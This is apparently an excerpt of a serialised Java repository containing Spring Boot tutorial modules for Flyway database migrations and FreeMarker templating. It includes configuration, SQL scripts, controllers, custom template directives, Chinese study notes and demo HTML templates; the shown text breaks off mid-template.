    "path": "jun_springboot_plugin/springboot_flyway/src/main/resources/application.yml",
    "content": "spring:\n  flyway:\n    enabled: true\n    # 迁移前校验 SQL 文件是否存在问题\n    validate-on-migrate: true\n    # 生产环境一定要关闭\n    clean-disabled: true\n    # 校验路径下是否存在 SQL 文件\n    check-location: false\n    # 最开始已经存在表结构，且不存在 flyway_schema_history 表时，需要设置为 true\n    baseline-on-migrate: true\n    # 基础版本 0\n    baseline-version: 0\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/test666?useSSL=false\n    username: root\n    password: \n    type: com.zaxxer.hikari.HikariDataSource\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flyway/src/main/resources/db/migration/V1_0__INIT.sql",
    "content": "DROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(32) NOT NULL COMMENT '用户名',\n  `password` varchar(32) NOT NULL COMMENT '加密后的密码',\n  `salt` varchar(32) NOT NULL COMMENT '加密使用的盐',\n  `email` varchar(32) NOT NULL COMMENT '邮箱',\n  `phone_number` varchar(15) NOT NULL COMMENT '手机号码',\n  `status` int(2) NOT NULL DEFAULT '1' COMMENT '状态，-1：逻辑删除，0：禁用，1：启用',\n  `create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `last_login_time` datetime DEFAULT NULL COMMENT '上次登录时间',\n  `last_update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '上次更新时间',\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `username` (`username`),\n  UNIQUE KEY `email` (`email`),\n  UNIQUE KEY `phone_number` (`phone_number`)\n) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='1.0-用户表';\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flyway/src/main/resources/db/migration/V1_1__ALTER.sql",
    "content": "ALTER TABLE t_user COMMENT = '用户 v1.1';"
  },
  {
    "path": "jun_springboot_plugin/springboot_flyway/src/test/java/com/jun/plugin/AppTest.java",
    "content": "package com.jun.plugin;\n\nimport static org.junit.Assert.assertTrue;\n\nimport org.junit.Test;\n\n/**\n * Unit test for simple App.\n */\npublic class AppTest \n{\n    /**\n     * Rigorous Test :-)\n     */\n    @Test\n    public void shouldAnswerWithTrue()\n    {\n        assertTrue( true );\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_freemarker</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.1.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-freemarker</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t  <groupId>org.springframework.boot</groupId>\n\t\t  <artifactId>spring-boot-devtools</artifactId>\n\t\t  <scope>runtime</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t  <groupId>org.springframework.boot</groupId>\n\t\t  <artifactId>spring-boot-starter-tomcat</artifactId>\n\t\t  <scope>provided</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/SpringBootFreemarker1Application.java",
    "content": "package com.jun.plugin.freemarker;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n@SpringBootApplication\n@Configuration\n@EnableAutoConfiguration\n@ComponentScan(basePackages={\"com.jun.plugin.freemarker\"})\npublic class SpringBootFreemarker1Application {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringBootFreemarker1Application.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/controller/FreemarkerController.java",
    "content": "package com.jun.plugin.freemarker.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n@Controller\n@RequestMapping(\"/\")\npublic class FreemarkerController {\n  \n\t@RequestMapping(value=\"/index\")\n\tpublic ModelAndView index(){\n\t\tModelAndView mv = new ModelAndView();\n\t\tmv.addObject(\"username\",\"你好！Freemarker!\");\n\t\treturn mv;\n\t}\n\t\n\t@RequestMapping(value=\"/free6\")\n\tpublic ModelAndView free6(){\n\t\tModelAndView mv6 = new ModelAndView();\n\t\treturn mv6;\n\t}\n\t\n\t@RequestMapping(value=\"/free7\")\n\tpublic ModelAndView free7(){\n\t\tModelAndView mv7 = new ModelAndView();\n\t\treturn mv7;\n\t}\n\t\n}\n\n//http://localhost:8080/index\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/controller/FreemarkerController1.java",
    "content": "package com.jun.plugin.freemarker.controller;\n\nimport java.util.Date;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n@Controller\n@RequestMapping(\"/\")\npublic class FreemarkerController1 {\n\t\n\t//freemarker取值，插值\n\t@RequestMapping(\"/free1\")\n\tpublic ModelAndView free1(){\n\t\tModelAndView mv1 = new ModelAndView();\n\t\tmv1.addObject(\"intVar\",100);\n\t\tmv1.addObject(\"LongVar\",10000000000000000L);\n\t\tmv1.addObject(\"doubleVar\",3.141592675d);\n\t\tmv1.addObject(\"StringVar\",\"我是freemarker,是字符串！\");\n\t\tmv1.addObject(\"booleanVar\", true);\n\t\tmv1.addObject(\"dateVar1\",new Date());\n\t\tmv1.addObject(\"nullVar1\",null);\n\t\tmv1.addObject(\"nullVar\",\"我是空\");\n\t\treturn mv1;\n\t}\n\n}\n\n//http://localhost:8080/free1\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/controller/FreemarkerController2.java",
    "content": "package com.jun.plugin.freemarker.controller;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n@Controller\n@RequestMapping(\"/\")\npublic class FreemarkerController2 {\n\t\n\t@RequestMapping(\"/free2\")\n\tpublic ModelAndView free2(){\n\t\tModelAndView mv2 = new ModelAndView();\n\t\tList<String> list = new ArrayList<String>();\n\t\tlist.add(\"java\");\n\t\tlist.add(\"JavaScript\");\n\t\tlist.add(\"python\");\n\t\tlist.add(\"php\");\n\t\tlist.add(\"Html\");\n\t\tmv2.addObject(\"myList\",list);\n\t\treturn mv2;\n\t}\n\n}\n\n\n//http://localhost:8080/free2"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/controller/FreemarkerController3.java",
    "content": "package com.jun.plugin.freemarker.controller;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n@Controller\n@RequestMapping(\"/\")\npublic class FreemarkerController3 {\n\t@RequestMapping(value=\"/free3\")\n\tpublic ModelAndView free3(){\n\t\tModelAndView mv3 = new ModelAndView();\n\t\tMap<String,Object> map = new HashMap<String,Object>();\n\t\tmap.put(\"Java\",\"你好Java\");\n\t\tmap.put(\"address\",\"北京\");\n\t\tmap.put(\"身高\",172);\n\t\tmap.put(\"money\", 100.5);\n\t\tmv3.addObject(\"map\",map);\n\t\treturn mv3;\n\t}\n\n}\n\n//http://localhost:8080/free3"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/controller/FreemarkerController4.java",
    "content": "package com.jun.plugin.freemarker.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.freemarker.method.SortMethod;\n\n@Controller\n@RequestMapping(\"/\")\npublic class FreemarkerController4 {\n\t\n\t@RequestMapping(\"/free4\")\n\tpublic ModelAndView free4(){\n\t\tModelAndView mv4 = new ModelAndView();\n\t\tmv4.addObject(\"sort_int\",new SortMethod());\n\t\treturn mv4;\n\t}\n\n}\n\n\n//http://localhost:8080/free4\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/controller/FreemarkerController5.java",
    "content": "package com.jun.plugin.freemarker.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n@Controller\n@RequestMapping(\"/\")\npublic class FreemarkerController5 {\n\t\n\t@RequestMapping(\"/free5\")\n\tpublic ModelAndView free5(){\n\t\tModelAndView mv5 = new ModelAndView(\"free5\");\n\t\treturn mv5;\n\t}\n\n}\n\n//本例子不成功，报错，原因是我没有配置自定义指令的xml文件。\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/method/RoleDirectiveModel.java",
    "content": "package com.jun.plugin.freemarker.method;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.stereotype.Service;\n\nimport freemarker.core.Environment;\nimport freemarker.template.SimpleSequence;\nimport freemarker.template.TemplateBooleanModel;\nimport freemarker.template.TemplateDirectiveBody;\nimport freemarker.template.TemplateDirectiveModel;\nimport freemarker.template.TemplateException;\nimport freemarker.template.TemplateModel;\nimport freemarker.template.TemplateScalarModel;\n\n@Service\npublic class RoleDirectiveModel implements TemplateDirectiveModel{\n\n\t/*\n\t *env:环境变量\n\t *params:指令参数(存储你所需要的值，随便是什么key-Value你懂的）\n\t *loopVars:循环变量\n\t *body:指令内容\n\t *除了params外，其他的都使用null\n\t */\n\t@Override\n\tpublic void execute(Environment env, Map params, TemplateModel[] loopVars, TemplateDirectiveBody body)\n\t\t\tthrows TemplateException, IOException {\n\t\tSystem.out.println(\"自定义指令需要实现TemplateDirectiveModel接口\");\n\t\t//获取参数\n\t\tTemplateScalarModel user = (TemplateScalarModel) params.get(\"user\");\n\t\tTemplateScalarModel role = (TemplateScalarModel) params.get(\"role\");\n\t\t\n\t\tif(\"123456\".equals(user.getAsString()) && \"admin\".equals(role.getAsString())){\n\t\t\t//用户id\n\t\t\tloopVars[0] = TemplateBooleanModel.TRUE;\n\t\t}\n\t\t\n\t\t//创建用户的权限\n\t\tList<String> otherRights = new ArrayList<String>();\n\t\totherRights.add(\"add\");\n\t\totherRights.add(\"delete\");\n\t\totherRights.add(\"update\");\n\t\tloopVars[1] = new SimpleSequence(otherRights);\n\t\t\n\t\tbody.render(env.getOut());\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/com/jun/plugin/freemarker/method/SortMethod.java",
    "content": "package com.jun.plugin.freemarker.method;\n\nimport java.math.BigDecimal;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.List;\n\nimport freemarker.template.SimpleSequence;\nimport freemarker.template.TemplateMethodModelEx;\nimport freemarker.template.TemplateModelException;\n/**\n * 实现排序 freemarker要实现TemplateMethodModelEx接口\n * @author dell\n *\n */\npublic class SortMethod implements TemplateMethodModelEx{\n\n\t@Override\n\tpublic Object exec(List arguments) throws TemplateModelException {\n\t\t//获取第一个参数\n\t\tSimpleSequence arg0 = (SimpleSequence)arguments.get(0);\n\t\tList<BigDecimal> list = arg0.toList();\n\t\t//Comparator接口\n\t\tCollections.sort(list,new Comparator<BigDecimal>(){\n\n\t\t\t@Override\n\t\t\tpublic int compare(BigDecimal o1, BigDecimal o2) {\n\t\t\t\t\n\t\t\t\treturn o1.intValue() - o2.intValue();  //升序\n\t\t\t}\n\t\t\t\n\t\t});\n\t\treturn list;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/java/项目说明",
    "content": "1.@ComponentScan(basePackages={\"com.spring\"})  这个注解的意思是通过spring容\n器去加载以com.spring开头的包下面的内容。\n\n2.<#assign var=\"hello spring boot\"/>\nfreemarker标签用于声明一个变量\n\n3.@Configuration注解会默认加载resources下的配置文件。\n\n4.freemarker不支持boolean类型的true/false。输出是会抛出异常！\n但是可以转化：布尔值: ${booleanVar?string('yes','no')}\n\n\n5.<#if myList??>  表示判断myList变量是不是存在或是不是空值\n等同于<#if myList?exists>\n\n6.freemarker内建指令以#开始，自定义指令以@开始\n<@role user='123456' role='admin';result1,result2></@role>\nuser用户id,role用户权限\n\n7.Freemarker的内建函数就是直接可以使用的函数，是freemarker封装好的函数。\n有处理字符串，数字，list的内建函数。\n处理字符串内建函数：\nsubstring 字符串的截取\ncap_first 首字母变大写\nends_with 以...结尾的函数\ncontains  字符串是否包含目标字符串的函数\n如何把一个字符串转化为date 、datetime 、time类型的函数 date  datetime  time；  \nstarts_with  字符串以...开始\nindex_of   字符串所在的位置\nlast_index_of  字符串最后所在的位置\nsplit  分割字符串\ntrim   去掉字符串两头的空格\n等函数   \n      \n 处理数字的内建函数\nstring  x?string(\"0.##\")  对数字进行格式化\nround  四舍五入\nfloor  把小数点去掉 \nceiling 数字进1，变成整数\n\n处理list内建函数：\nfirst  取list第一个值\nlast  取list最后一个值\nseq_contains 这个序列是否包含\nseq_index_of  这个序列所在的位置\nsize list长度\nreverse  倒序\nsort  升序排序\nsort_by  根据属性排序\ntrunk 把字符串分块处理\n\n其他内建函数\nis函数：判断变量的类型\nis_string  字符串 \nis_number   整数\nis_method   方法\n\n() 对变量进行判断\nhs_content 判断对象是否是空值，是不是有内容\neval 求值函数\n\n8.<#nested param1,\"我的nested参数\">  用来定义模板片段\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/application.properties",
    "content": "#\\u670d\\u52a1\\u7aef\\u53e3\nserver.port=8080\n#freemarker\\u914d\\u7f6e\nspring.freemarker.cache=false\nspring.freemarker.checkTemplateLocation=true\nspring.freemarker.contentType=text/html\nspring.freemarker.suffix=.html\nspring.freemarker.templateEncoding=UTF-8\nspring.freemarker.templateLoaderPath=classpath:/templates/"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/free1.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>freemarker</title>\n</head>\n<body>\n<h1>取值：</h1>\n<ul>\n<li>整数：<font size=\"20px\" color=\"red\">${intVar}</font></li>\n<li>长整数：<font size=\"20px\" color=\"blue\">${LongVar}</font></li>\n<li>双精度：<font size=\"20px\" color=\"pink\">${doubleVar}</font></li>\n<li>字符串：<font size=\"20px\" color=\"yellow\">${StringVar}</font></li>\n<li>布尔值: <font size=\"20px\" color=\"green\">${booleanVar?string('yes','no')}</font></li>\n<li>日期类型Java.Util.Date:<font size=\"20px\" color=\"red\">${dateVar1?string('yyyy-MM-dd HH:mm:ss')}</font></li>\n<li>空值：<font size=\"20px\" color=\"pink\">${nullVar1!}</font></li>\n<li>空值：<font size=\"20px\" color=\"green\">${nullVar!'我是默认值'}</font></li>\n<li>不存在的变量：<font size=\"20px\" color=\"blue\">${变量!'我是默认变量'}</font></li>\n<li>不存在的变量1：<font size=\"20px\" color=\"red\">${free!'我是默认变量'}</font></li>\n</ul>\n<hr size=\"10\" color=\"blue\">\n<ul>\n <li>赋值&运算</li>\n <#assign a=100/>\n a = <font color=\"red\">${a}</font><br/>\n a+100=<font coloe=\"blue\">${a+100}</font><br/>\n</ul>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/free2.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>freemarker</title>\n<style type=\"text/css\">\n  body{\n    font-weight:bold;\n  }\n</style>\n</head>\n<body>\n<h1>freemarker实现遍历list集合</h1>\n<ul>\n<li>集合list</li>\n<#list myList as item>\n  <font color=\"blue\" size=\"20px\">${item}</font><br/>\n</#list>\n</ul>\n\n\n<hr size=\"10\" color=\"blue\">\n<h1>if表达式</h1>\n<ul>\n  <li>if</li>\n  <#assign var = 99/>\n  <#if var == 99>\n    <font color=\"red\">var=99</font>\n  </#if>\n  <br/>\n  \n  <#if var == 99>\n    <font color=\"red\">var=99</font>\n    <#else>\n    <font coloe=\"green\">var!=99</font>\n  </#if>\n  <br/>\n  \n  <#if var &gt; 99>   <!-- &gt;  大于 -->\n    <font color=\"red\">var大于99</font>\n    <#elseif var==99>\n    <font coloe=\"green\">var=99</font>\n    <#else>\n    <font coloe=\"blue\">var小于99</font>\n  </#if>\n  <br/>\n  \n  <li>if多条件 ||，&&，!</li>\n  <#assign var='python'>\n  <#if var =='python' || var =='Java'>\n  <font color=\"red\">python or java</font><br/>\n  </#if>\n  \n  <#if var =='python' && var?length == 6>\n  <font color=\"yellow\">python length 6</font><br/>\n  </#if>\n  \n  <#if (var =='python' && var?length == 6) || (var == 'java')>\n  <font color=\"black\">python length 6或者Java</font><br/><br/>\n  </#if>\n  \n  <#if !((var =='python' && var?length == 6) || (var == 'java'))>\n  <font color=\"black\">python length 6或者Java</font><br/><br/>\n  </#if>\n  \n</ul>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/free3.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>freemarker</title>\n<style type=\"text/css\">\n  body{\n    font-weight:bold;\n  }\n</style>\n</head>\n<body>\n<h1>freemarker遍历map集合</h1>\n<ul>\n<li>集合map</li>\n<#list map?keys as key>\n  <font color=\"green\" size=\"20px\">${key}:${map[key]}</font><br/>\n</#list>\n</ul>\n<hr size=\"10\" color=\"red\">\n<h3>switch语句</h3>\n<ul>\n  <li>switch,case,break,default</li>\n  <#assign var = 8/>\n  <#switch var>\n     <#case 1>星期一 <#break>\n     <#case 2>星期二 <#break>\n     <#case 3>星期三 <#break>\n     <#case 4>星期四 <#break>\n     <#case 5>星期五 <#break>\n     <#case 6>星期六 <#break>\n     <#case 7>星期日 <#break>\n     <#default>无效的星期\n  </#switch>\n</ul>\n<hr size=\"10\" color=\"blue\">\n<ul>\n  <li>switch,case,break,default</li>\n  <#assign var = 'java'/>\n  <#switch var>\n     <#case 'java'>我是java <#break>\n     <#case 'python'>我是python <#break>\n     <#case 'C'>我是C语言 <#break>\n     <#default>我是谁？谁是我？\n  </#switch>\n</ul>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/free4.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>freemarker</title>\n</head>\n<body>\n<h1>if表达式</h1>\n<ul>\n  <li>if</li>\n  <#assign var = 99/>\n  <#if var == 99>\n    <font color=\"red\">var=99</font>\n  </#if>\n  <br/>\n  \n  <#if var == 99>\n    <font color=\"red\">var=99</font>\n    <#else>\n    <font coloe=\"green\">var!=99</font>\n  </#if>\n  <br/>\n  \n  <#if var &gt; 99>   <!-- &gt;  大于 -->\n    <font color=\"red\">var大于99</font>\n    <#elseif var==99>\n    <font coloe=\"green\">var=99</font>\n    <#else>\n    <font coloe=\"blue\">var小于99</font>\n  </#if>\n  <br/>\n  \n  <li>if多条件 ||，&&，!</li>\n  <#assign var='python'>\n  <#if var =='python' || var =='Java'>\n  <font color=\"red\">python or java</font><br/>\n  </#if>\n  \n  <#if var =='python' && var?length == 6>\n  <font color=\"yellow\">python length 6</font><br/>\n  </#if>\n  \n  <#if (var =='python' && var?length == 6) || (var == 'java')>\n  <font color=\"black\">python length 6或者Java</font><br/><br/>\n  </#if>\n  \n  <#if !((var =='python' && var?length == 6) || (var == 'java'))>\n  <font color=\"black\">python length 6或者Java</font><br/><br/>\n  </#if>\n</ul>\n<hr size=\"10\" color=\"green\">\n\n<h1>自定义函数</h1>\n<h2>1.自定义函数(整数排序sort_int)</h2>\n<ul>\n  <#assign myList=[2,5,9,1,0,6,3,1,10,4]/>\n  <li>未排序</li>\n  <#list myList as item>\n    ${item},\n  </#list>\n  <br/>\n  <li>排序</li>\n  <#list sort_int(myList) as item>\n    ${item},\n  </#list>\n</ul>\n<hr size=\"10\" color=\"red\">\n\n<h1>List的指令</h1>\n<h2>1,list常用指令sort升序</h2>\n<ul>\n  <#assign myList=[0,3,7,9,1,4,8,6,2,5]/>\n  <#list myList?sort as item>\n     ${item_index}:${item}  <br/>\n  </#list>\n  \n  <br/>\n</ul>\n<hr size=\"10\" color=\"blue\">\n\n<h1>List的指令</h1>\n<h2>2,list常用指令resverse倒序</h2>\n<ul>\n  <#assign myList1=[0,3,7,9,1,4,8,6,2,5]/>\n  <#list myList1?sort?reverse as item>\n     ${item_index}:${item}  <br/>\n  </#list>\n  长度：${myList1?size}<br/>\n  下标取值：${myList1[3]}<br/>\n  <br/>\n</ul>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/free5.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n<h1>自定义指令</h1>\n<h2>1.用户123456 是否拥有admin角色，并且返回admin的权限</h2>\n<ul>\n  <@role user='123456' role='admin';result1,result2>\n    <#if result1>\n            我的角色是<font color=\"red\" size=\"18px\">admin</font><br/>\n    </#if>\n            我拥有的权限是：\n     <font color=\"blue\" size=\"18px\">\n       <#list result2 as item>\n         ${item},\n       </#list>     \n     </font><br/>\n   </@role>\n</ul>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/free6.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>freemarker内建函数</title>\n</head>\n<body>\n\t<h1>内建函数</h1>\n\t<ul>\n\t\t<h2>1,字符串内建函数</h2>\n\t\t<#list \"a|b|c|d\"?split(\"|\") as item>\n\t\t<li>${item}</li>\n\t\t</#list>\n\t</ul>\n\t<hr size=\"10\" color=\"red\">\n\n\t<h1>字符串转日期</h1>\n\t<ul>\n\t\t<#assign var1=\"23/02/2017\" ?date(\"MM/dd/yyyy\")/> \n\t\t<#assign var2=\"11:34:33\" ?time(\"HH:mm:ss\")/> \n\t\t<#assign var3=\"2017-02-23 11:35 PM\" ?datetime(\"yyyy-MM-dd hh:mm\")/>\n\t\t<li>${var1}</li>\n\t\t<li>${var2}</li>\n\t\t<li>${var3}</li>\n\t</ul>\n\t<hr size=\"10\" color=\"blue\">\n\n\t<h1>数字类型的内建函数</h1>\n\t<ul>\n\t\t<#assign numVar1=314.5662789 />\n\t\t<li>格式化：${numVar1?string(\"0.##\")}</li> \n\t\t<li>四舍五入：${numVar1?round}</li> \n\t\t<li>去掉小数点：${numVar1?floor}</li> \n\t\t<li>进1：${numVar1?ceiling}</li>\n\t</ul>\n\t<hr size=\"10\" color=\"black\">\n\n\t<h1>list内建函数</h1>\n\t<ul>\n\t\t<#assign listVar1=[1,2,3,4,11,12,13,14,21,22,23,24] />\n\t\t\n\t\t<li>分块处理取长度：${listVar1?chunk(4)?size}</li>\n\t\t<li>长度：${listVar1?size}</li>\n\t\t<#list listVar1?chunk(4)?last as item>\n\t\t  <li>${item}</li>\n\t\t</#list>\n\t\t<li>取list第一个值：${listVar1?first}</li>\n\t\t<li>取list最后一个值：${listVar1?last}</li>\n\t</ul>\n\t<hr size=\"10\" color=\"green\">\n\n\t<h1>其他内建函数</h1>\n\t<ul>\n\t\t<#assign sVar = 'helloworld'/>\n\t\t<li>${sVar?is_number?string('yes','no')}</li>\n\t\t<li>${sVar?has_content?string('yes','no')}</li>\n\t\t<li>${\"1\"+\"2\"?eval}</li>\n\t\t<li>${(1+2)?eval}</li>\n\t\t<li>${\"1\"+\"2\"?is_string?string('yes','no')}</li>\n\t\t<li>${(\"1\"+\"2\")?is_string?string('yes','no')}</li>\n\t</ul>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/free7.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n<h1>macro,nested,return:实战demo</h1>\n<h2>1.macro:宏指令</h2>\n<ul>\n  <li>FreeMarker:无参数的macro</li>\n  <div>\n    <#macro test>\n      <font color=\"red\" size=\"18px\">我是无参数的macro</font>\n    </#macro>\n    <@test/>\n  </div>\n  <li>Freemarker2:有参数的macro</li>\n  <div>\n    <#macro test param1 param2>\n      <font color=\"blue\" size=\"18px\">我是有参数的macro,paeam1=${param1},param2=${param2}</font>\n      <br/>\n    </#macro>\n    <@test param1=\"java\" param2=\"python\"/>\n  </div>\n  <li>Freemarker3:有参数的macro</li>\n  <div>\n    <#macro test param1 param2=\"JavaScript\">\n      <font color=\"blue\" size=\"18px\">我是有参数的macro,paeam1=${param1},param2=${param2}</font>\n      <br/>\n    </#macro>\n    <@test param1=\"java\" param2=\"hello python\"/>\n  </div>\n  <li>Freemarker4:有多个参数的macro</li>\n  <div>\n    <#macro test param1 param2=\"python\" paramExt...>\n      <font color=\"green\" size=\"18px\">我是有参数的macro,paeam1=${param1},param2=${param2}</font>\n      <br/>\n      <font color=\"blue\" size=\"18px\">${paramExt['param3']}</font>\n      <font color=\"blue\" size=\"18px\">${paramExt['param4']}</font>\n    </#macro>\n    <@test param1=\"java\" param2=\"python\" param3=\"nodejs\" param4=\"html\"/>\n  </div>\n</ul>\n<hr size=\"10\" color=\"red\">\n<h2>2,nested</h2>\n<div>\n  <ul>\n    <#macro test param1=\"java\">\n      ${param1}<br/>\n      <#nested param1,\"我的nested参数\"><br/>\n    </#macro>\n    \n    <li>调用</li>\n    <div>\n      <@test param1=\"java\";loopVar1,loopVar2>\n        <font color=\"green\" size=\"18px\">hello ${loopVar1},${loopVar2}</font><br/>\n      </@test>\n      \n      <@test param1=\"python\"; loopVar1>\n        hello ${loopVar1}<br/>\n      </@test>\n    </div>\n  </ul>\n  <hr size=\"10\" color=\"pink\">\n  <div>\n    <h2>3,函数</h2>\n    <ul>\n      <#function doAdd param1 param2>\n        <#return param1+param2>\n      </#function>\n      <li>调用</li>\n      <div>你好，我是调用${doAdd(100,100)}</div>\n    </ul>\n  </div>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/main/resources/templates/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>freemarker</title>\n<style type=\"text/css\">\nh1 {\n\tcolor: red;\n\tfont-size: 40px;\n}\n</style>\n</head>\n<body>\n\t<h1>${username}</h1>\n\t<#assign var=\"hello spring boot 学习你很开心！\" />\n\t<font size=\"18px\">${var}</font>\n\t<hr size=\"10\" coloe=\"red\">\n\n\t<h1>字符串</h1>\n\t<h2>字符串常用内建函数</h2>\n\t<ul>\n\t\t<#assign a='hello'> <#assign b='world!'>\n\t\t<li>连接</li>\n\t\t<font color=\"red\" size=\"18px\">${a+b}</font>\n\t\t<br />\n\t\t<li>截取</li>\n\t\t<font color=\"blue\" size=\"18px\">${(a+b)?substring(5,8)}</font>\n\t\t<br />\n\t\t<li>长度</li>\n\t\t<font color=\"red\" size=\"18px\">${(a+b)?length}</font>\n\t\t<br />\n\t\t<li>大写</li>\n\t\t<font color=\"blue\" size=\"18px\">${(a+b)?upper_case}</font>\n\t\t<br />\n\t\t<li>小写</li>\n\t\t<font color=\"red\" size=\"18px\">${(a+b)?lower_case}</font>\n\t\t<br />\n\t\t<li>index_of</li>\n\t\t<font color=\"blue\" size=\"18px\">${(a+b)?index_of('w')}</font>\n\t\t<br />\n\t\t<li>replace</li>\n\t\t<font color=\"red\" 